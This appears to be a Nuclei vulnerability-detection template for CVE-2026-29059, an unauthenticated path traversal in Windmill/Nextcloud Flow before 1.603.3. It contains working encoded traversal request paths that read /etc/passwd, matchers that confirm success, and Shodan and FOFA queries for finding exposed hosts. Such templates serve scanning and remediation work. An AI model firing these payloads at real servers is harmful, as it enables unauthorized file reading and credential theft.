Description
Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.
Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.
id: CVE-2026-29059
info:
name: Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal
author: 0x_Akoko
severity: critical
description: |
Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.
impact: |
Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
remediation: |
Update to version 1.603.3 or later.
reference:
- https://github.com/Chocapikk/Windfall
- https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2026-29059
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
cvss-score: 10.0
cve-id: CVE-2026-29059
epss-score: 0.02945
epss-percentile: 0.86457
cwe-id: CWE-22
metadata:
max-request: 4
vendor: windmill
product: windmill
verified: true
shodan-query: http.html:"Windmill" http.html:"svelte-global-loader"
fofa-query: app="Windmill"
tags: cve,cve2026,windmill,nextcloud,lfi,unauth,vkev
http:
- method: GET
path:
- "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
- "{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"
- "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"
- "{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "root:x:0:0:"
- type: word
part: body
words:
- "<!DOCTYPE"
- "Err:"
condition: or
negative: true
- type: status
status:
- 200
# digest: 4a0a00473045022100bd18336230d5200bea63016e1a7ef280976133a2fec71ffa98ca0259ab7cacc9022075c31942d772732217209f0a9badd27fea51b6ec42e5a460d8f959e2d6254361:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.